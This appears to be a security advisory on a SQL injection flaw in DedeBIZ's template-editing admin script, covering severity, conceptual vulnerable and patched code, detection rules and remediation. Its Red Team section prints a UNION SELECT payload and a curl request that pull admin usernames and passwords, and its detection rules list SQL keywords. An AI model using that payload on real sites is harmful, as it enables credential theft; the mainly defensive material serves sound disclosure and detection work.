CVE-2025-12859

Executive Summary

CVE-2025-12859 is a SQL injection vulnerability in DedeBIZ up to version 6.3.2, specifically in the /admin/templets_one_edit.php file. The vulnerability allows an authenticated attacker with administrative privileges to manipulate the ids parameter, leading to SQL injection. This can result in unauthorized data access, modification, or deletion within the database. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue within the DedeBIZ application itself.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) - Requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The medium severity is due to the requirement for administrative privileges. However, the public availability of the exploit and the lack of a patch elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the /admin/templets_one_edit.php file. The ids parameter is not properly sanitized before being used in a SQL query. An attacker can inject malicious SQL code through this parameter.

Vulnerable Code Snippet (Conceptual):

// Vulnerable code in templets_one_edit.php
$ids = $_REQUEST['ids'];
$sql = "DELETE FROM `#@__templets` WHERE id IN ($ids)";
$dsql->ExecuteNoneQuery($sql);

The $ids variable is directly concatenated into the SQL query without any sanitization or parameterization. This allows an attacker to break out of the intended query structure.

Attack Vector:

1. Attacker logs into the DedeBIZ admin panel.
2. Attacker navigates to the template editing functionality.
3. Attacker sends a crafted POST/GET request to /admin/templets_one_edit.php with a malicious ids parameter.
4. The injected SQL code is executed against the database.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$ids = $_REQUEST['ids'];
$sql = "DELETE FROM `#@__templets` WHERE id IN ($ids)";
$dsql->ExecuteNoneQuery($sql);

Patched Code (Conceptual):

$ids = $_REQUEST['ids'];
// Ensure $ids is an array of integers
if (!is_array($ids)) {
    $ids = explode(',', $ids);
}
$ids = array_map('intval', $ids);
$ids = implode(',', $ids);
$sql = "DELETE FROM `#@__templets` WHERE id IN ($ids)";
$dsql->ExecuteNoneQuery($sql);

The patched version uses intval() to ensure each ID is an integer, preventing SQL injection. Alternatively, using prepared statements would be a more robust solution.

Exploitation & Lab Setup

Red Team

Exploit Payload (Example):

-- Inject into the ids parameter to extract data
1 UNION SELECT username,password FROM `#@__admin` --

Exploit Request (cURL):

curl -X POST "http://target.com/admin/templets_one_edit.php" \
  -d "ids=1 UNION SELECT username,password FROM \`#@__admin\` --" \
  -b "admin_cookie=your_admin_session_cookie"

Lab Setup:

1. Install DedeBIZ 6.3.2 on a local server (e.g., XAMPP, LAMP).
2. Access the admin panel and log in.
3. Use Burp Suite or similar tool to intercept and modify requests to /admin/templets_one_edit.php.
4. Inject the SQL payload and observe the response.

Blue Team

Detection:

• Monitor for unusual SQL queries in database logs.
• Look for requests to /admin/templets_one_edit.php with suspicious ids parameters containing SQL keywords (UNION, SELECT, DROP, etc.).
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Mitigation:

• Apply input validation and parameterized queries.
• Restrict admin panel access to trusted IPs.
• Monitor for unauthorized admin account creation or data exfiltration.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/templets_one_edit.php with ids parameter containing SQL syntax.
  • Unusual database error messages in HTTP responses.
• Host:
  • Unexpected entries in database tables (e.g., new admin users).
  • Modified or deleted template files.
• Logs:
  • Database logs showing UNION, SELECT, DROP, or DELETE statements originating from the web application user.
  • Web server logs showing requests to /admin/templets_one_edit.php with non-numeric ids values.

Detection Engineering

YARA Rule

rule Detect_DedeBIZ_SQLi_CVE_2025_12859 {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-12859 in DedeBIZ"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12859"
    strings:
        $s1 = "templets_one_edit.php" nocase
        $s2 = "ids=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "DROP" nocase
        $s6 = "DELETE" nocase
    condition:
        $s1 and $s2 and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: DedeBIZ SQL Injection Attempt (CVE-2025-12859)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against DedeBIZ templets_one_edit.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'templets_one_edit.php'
        cs-uri-query|contains: 'ids='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - 'DELETE'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in template names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12859 DedeBIZ SQL Injection Attempt"; flow:to_server,established; content:"templets_one_edit.php"; http_uri; content:"ids="; http_client_body; pcre:"/(UNION|SELECT|DROP|DELETE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate the affected DedeBIZ instance from the internet.
2. Restrict Access: Limit access to the /admin/ directory to trusted IP addresses only.
3. Monitor: Actively monitor logs for exploitation attempts.

Long-Term Fix:

1. Apply Patch: Await an official patch from DedeBIZ. If not available, manually apply the code fix described in the "Vulnerable vs. Patched Code" section.
2. Upgrade: Consider migrating to a supported and actively maintained CMS.
3. Code Review: Conduct a thorough code review of all admin-facing scripts for similar vulnerabilities.

Workaround:

• Implement a Web Application Firewall (WAF) rule to block requests containing SQL keywords in the ids parameter.
• Modify the .htaccess file to add input validation for the ids parameter.

Valters IT